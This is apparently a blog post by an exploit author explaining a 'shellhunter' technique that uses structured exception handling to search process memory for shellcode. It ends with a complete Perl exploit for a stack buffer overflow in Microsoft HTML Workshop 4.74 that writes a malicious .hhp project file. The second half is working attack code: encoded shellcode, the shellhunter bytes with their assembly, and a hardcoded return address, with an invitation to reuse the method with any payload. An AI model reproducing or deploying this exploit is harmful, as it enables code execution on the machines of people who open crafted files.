10 Jan
Microsoft HTML Workshop
Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit -
Another step towards perfect exploitation
This is my next article explaining my second public exploit implementing my recent Shellhunting technique.
Why use the technique? Well, believe me I could have made the exploit work on only one Windows version, be it XP or Vista, but to make it universal and work on every Windows NT system, you need to make it advanced.
The vulnerability itself is a normal stack overflow, overflowing all the variables on the stack including, the holy grail, the return address. There is also no character transformation, so why use a shellhunter for the exploit?
Here is why:-
- To overflow the buffer, 280 bytes and above are needed, this isn’t enough space for a shellcode such as, reverse/bind shell or dl/exec scode, maybe only executing calculator will work.
- To make it universal there was only one module that had the address, that module is the main applications executable: hhw.exe.
- This address includes a “\x00″ byte (00h), this NULL byte will terminate any more overflow of the buffer so you cannot just simply jump/call the ESP register and execute shellcode after the controllable return address.
Those are the main reasons that need to be worried about. A professional exploit needs to be able to run any shellcode of any capability and size.With the Shellhunter the shellcode may even include NULL bytes!
Lets recap what a shellhunter does:-
- Searches through memory for a certain “lookout” value that when located will revert program execution flow to the address at the “lookout”. Also the “lookout” values must be a set of friendly instructions that will not cause an unneeded “Access Violation”.
- In this case there is no need for it to be alphanumerical, also size does not matter.
The new shellhunter in this exploit will be very different from the previous one. It will search through the whole memory of the application looking for the shellcode, it will not be using any register as a base to search from. The technique will also be reminiscent of skape’s egghunter technique (I actually have never read his article, but it is pretty cool that there will be a new/fresh look at this type of exploitation with my method ;) ).
Okay, so what are the new features I am talking about? The shellhunter has indeed increased drastically in size (111 bytes) and the freedom that there are no character restrictions makes it even easier. With that privilege I thought of searching the whole memory with the shellhunter.
Of course there are a few problems that come to mind with that:
- Access Violations will occur when retrieving data from an invalid address.
- We need to store the variable which is address currently searched.
- The applications memory is a huge range from 0×00000000 to just below kernel base which is, 0x7fffffff. The shellhunter must search through the memory in speed, so that the shellcode will be executed fast.
- Also, but I’ll discuss about this later, the stack layout has to be repaired by the shellhunter..
Wow, a load of problems.
Now I will write up how I solved them.
Access Violation problem when reading invalid memory
The first method that came to mind was to use the Structured Exception Handling, and that is the method I am using.
Basically the SEH, will handle exceptions when an exception is thrown out it will change the program flow to the address that is in SEH structure. It is in the basic form a linked list type, this is its layout on the stack:
[ Pointer to the next SEH record]
[Pointer to exception handler code]
Altogether it will occupy 8 bytes on the stack. Using it to our advantage we will need to make the “Pointer to exception handler code” point to our injected code from the overflowed buffer. And in our case, the Pointer to the next SEH record will be set to -1, which in hex form is 0xffffffff.
If you read the shellhunter code correctly you will say its sort of a loop. And you are right. It is a loop that it searches for the “lookout” value, if invalid, exception occurs and then again all over we set up SEH and check for “lookout”.
Save the current address variable somewhere in the heap
In this problem I used the address 0x7ffdfad0. Before setting up SEH, it will retrieve the variable at the address and before checking the value with a CMP, so not to lose the address, it will store it at that address.
Speedy search through memory
At the beginning when the shellhunter was in a premature phase, it searched through 4 bytes at a time. Trust me, It took a lot of time. To solve the problem, I used 32 bytes. But this also needed to increase the amount of “lookout” values that needed to be in the memory so the shellhunter would find it guaranteed (you can see that there are over 64*4 bytes of “lookout” value in the exploit!).
Repairing the Stack layout
This was one of the last problems I encountered when writing the shellhunter. I noticed that when SEH was called and the appropriate modules made their calls and other calculations, the stack would change. It would approximately decrease the ESP register by a couple hundred bytes. We cannot afford to have that because when the ESP register becomes a very low value, a stack overflow exception occurs, and when that is handled there is no space for any SEH to be set up! So to repair the stack I added bytes to the stack at every loop of the shellhunter also using a few pops/pushs instructions to increase the certain measure.
That’s all that you need to know that was added! Certainly, a shellhunter is a must-use in some cases for exploitation and I hope that you can implement the method for your exploits (do remember to credit me ;) )! If you got any problems with writing your certain exploit, and need a shellhunter, don’t hesitate to contact me at skdrat<at>hotmail<.>com (MSN Messenger).
Read the exploit below, and enjoy it!
Milw0rm exploit URL: http://milw0rm.com/exploits/7727
Exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | #!/usr/bin/perl # Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit # ----------------------------------------------------------------- # Discovered/Exploit by SkD ([email protected]) # ----------------------------------------------------------------- # # This is a continuation of my new method, shellhunting. # The exploit is far more advanced than the Amaya's as it runs on # every system, partly because the shellhunter itself is very much # reliable and universal. # The shellhunter does the following tasks to find and exec. # shellcode:- # # 1- Searches through the whole memory of the application. # 2- Installs a SEH handler so on access violations it won't # stop hunting for the shellcode. # 3- Repairs stack so a stack overflow won't occur (that is what # happens when the SEH is called up, many PUSH instructions # are called from the relevant modules (ntdll, etc). # 4- Improved speed by searching through 32 bytes at a time. # 5- Uses a certain address in memory to store a variable for the # search. # # It is very stable and will allow any shellcode (bind/reverse shell, # dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista). # # Yeah, I guess that's about it. Took me a few hours to figure out the # whole thing but nothing is impossible ;). # # Oh, I think some schools use this software :) (it's Microsoft's, right?). # # You can download the app. from Microsoft's official page: # -> http://msdn.microsoft.com/en-us/library/ms669985.aspx # # If you are interested in my method and want to learn something new or # improve your exploitation skills then visit my team's blog at: # -> http://abysssec.com # # Peace out, # SkD. my $hhp_data1 = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53". "\x5D\x0D\x0A\x43\x6F\x6E\x74\x65". "\x6E\x74\x73\x20\x66\x69\x6C\x65". "\x3D\x41\x0D\x0A\x49\x6E\x64\x65". "\x78\x20\x66\x69\x6C\x65\x3D"; my $hhp_data2 = "\x5B\x46\x49\x4C\x45\x53\x5D\x0D". "\x0A\x61\x2E\x68\x74\x6D"; my $crlf = "\x0d\x0a"; # win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com my $shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x51\x5a\x6a\x46". "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x56\x42\x32\x42\x41\x41\x32". "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x58\x69\x69\x6c\x4b". "\x58\x62\x64\x65\x50\x67\x70\x47\x70\x6c\x4b\x42\x65\x45\x6c\x6e". "\x6b\x73\x4c\x53\x35\x73\x48\x45\x51\x4a\x4f\x6c\x4b\x70\x4f\x52". "\x38\x4c\x4b\x33\x6f\x55\x70\x57\x71\x6a\x4b\x61\x59\x4c\x4b\x36". "\x54\x6e\x6b\x53\x31\x48\x6e\x55\x61\x39\x50\x4d\x49\x4c\x6c\x4d". "\x54\x6b\x70\x74\x34\x66\x67\x4b\x71\x78\x4a\x56\x6d\x67\x71\x39". "\x52\x48\x6b\x4c\x34\x35\x6b\x62\x74\x56\x44\x57\x74\x54\x35\x6b". "\x55\x4e\x6b\x31\x4f\x65\x74\x67\x71\x5a\x4b\x50\x66\x6c\x4b\x56". "\x6c\x42\x6b\x6e\x6b\x53\x6f\x47\x6c\x67\x71\x7a\x4b\x6c\x4b\x45". "\x4c\x6c\x4b\x47\x71\x48\x6b\x4f\x79\x33\x6c\x44\x64\x73\x34\x49". "\x53\x70\x31\x6b\x70\x71\x74\x4e\x6b\x73\x70\x56\x50\x4b\x35\x49". "\x50\x62\x58\x66\x6c\x4c\x4b\x43\x70\x56\x6c\x4c\x4b\x50\x70\x45". "\x4c\x4c\x6d\x6c\x4b\x35\x38\x77\x78\x78\x6b\x67\x79\x4e\x6b\x6b". "\x30\x6c\x70\x57\x70\x63\x30\x33\x30\x4c\x4b\x32\x48\x67\x4c\x73". "\x6f\x35\x61\x48\x76\x71\x70\x56\x36\x6c\x49\x4a\x58\x6e\x63\x69". "\x50\x41\x6b\x56\x30\x65\x38\x6c\x30\x6f\x7a\x75\x54\x73\x6f\x31". "\x78\x4e\x78\x79\x6e\x6f\x7a\x36\x6e\x66\x37\x6b\x4f\x5a\x47\x52". "\x43\x65\x31\x30\x6c\x70\x63\x45\x50\x46"; #/----------------Advanced Shellhunter Code----------------\ #01D717DD EB 1E JMP SHORT 01D717FD | #01D717DF 83C4 64 ADD ESP,64 | #01D717E2 83C4 64 ADD ESP,64 | #01D717E5 83C4 64 ADD ESP,64 | #01D717E8 83C4 64 ADD ESP,64 | #01D717EB 83C4 64 ADD ESP,64 | #01D717EE 83C4 64 ADD ESP,64 | #01D717F1 83C4 64 ADD ESP,64 | #01D717F4 83C4 64 ADD ESP,64 | #01D717F7 83C4 64 ADD ESP,64 | #01D717FA 83C4 54 ADD ESP,54 | #01D717FD 33FF XOR EDI,EDI | #01D717FF BA D0FAFD7F MOV EDX,7FFDFAD0 | #01D71804 8B3A MOV EDI,DWORD PTR DS:[EDX] | #01D71806 EB 0E JMP SHORT 01D71816 | #01D71808 58 POP EAX | #01D71809 83E8 3C SUB EAX,3C | #01D7180C 50 PUSH EAX | #01D7180D 6A FF PUSH -1 | #01D7180F 33DB XOR EBX,EBX | #01D71811 64:8923 MOV DWORD PTR FS:[EBX],ESP | #01D71814 EB 05 JMP SHORT 01D7181B | #01D71816 E8 EDFFFFFF CALL 01D71808 | #01D7181B B8 12121212 MOV EAX,12121212 | #01D71820 6BC0 02 IMUL EAX,EAX,2 | #01D71823 BA D0FAFD7F MOV EDX,7FFDFAD0 | #01D71828 83C7 20 ADD EDI,20 | #01D7182B 893A MOV DWORD PTR DS:[EDX],EDI | #01D7182D 3907 CMP DWORD PTR DS:[EDI],EAX | #01D7182F ^75 F7 JNZ SHORT 01D71828 | #01D71831 83C7 04 ADD EDI,4 | #01D71834 6BC0 02 IMUL EAX,EAX,2 | #01D71837 3907 CMP DWORD PTR DS:[EDI],EAX | #01D71839 ^75 E0 JNZ SHORT 01D7181B | #01D7183B 83C7 04 ADD EDI,4 | #01D7183E B8 42424242 MOV EAX,42424242 | #01D71843 3907 CMP DWORD PTR DS:[EDI],EAX | #01D71845 ^75 D4 JNZ SHORT 01D7181B | #01D71847 83C7 04 ADD EDI,4 | #01D7184A FFE7 JMP EDI | #\-----------------------End of Code----------------------/ my $shellhunter = "\xeb\x1e". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x64". "\x83\xc4\x54". "\x33\xff". "\xba\xd0\xfa\xfd\x7f". "\x8b\x3a". "\xeb\x0e". "\x58". "\x83\xe8\x3c". "\x50". "\x6a\xff". "\x33\xdb". "\x64\x89\x23". "\xeb\x05". "\xe8\xed\xff\xff\xff". "\xb8\x12\x12\x12\x12". "\x6b\xc0\x02". "\xba\xd0\xfa\xfd\x7f". "\x83\xc7\x20". "\x89\x3a". "\x39\x07". "\x75\xf7". "\x83\xc7\x04". "\x6b\xc0\x02". "\x39\x07". "\x75\xe0". "\x83\xc7\x04". "\xb8\x42\x42\x42\x42". "\x39\x07". "\x75\xd4". "\x83\xc7\x04". "\xff\xe7"; my $lookout1 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42" x 64; my $lookout2 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42" x 64; my $lookout3 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42" x 64; my $lookout4 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42\x42" x 64; my $len = 280 - (length($shellhunter) + 55); my $overflow1 = "\x41" x $len; my $overflow2 = "\x41" x 55; my $overflow3 = "\x42" x 256; my $ret = "\x93\x1f\x40\x00"; #0x00401f93 CALL EDI [hhw.exe] open(my $hhpprj_file, "> s.hhp"); print $hhpprj_file $hhp_data1. $overflow1.$shellhunter.$overflow2.$ret. $crlf.$crlf. $hhp_data2. $overflow3.$lookout1.$lookout2.$lookout3.$lookout4.$shellcode.$overflow3. $crlf; close $hhpprj_file; |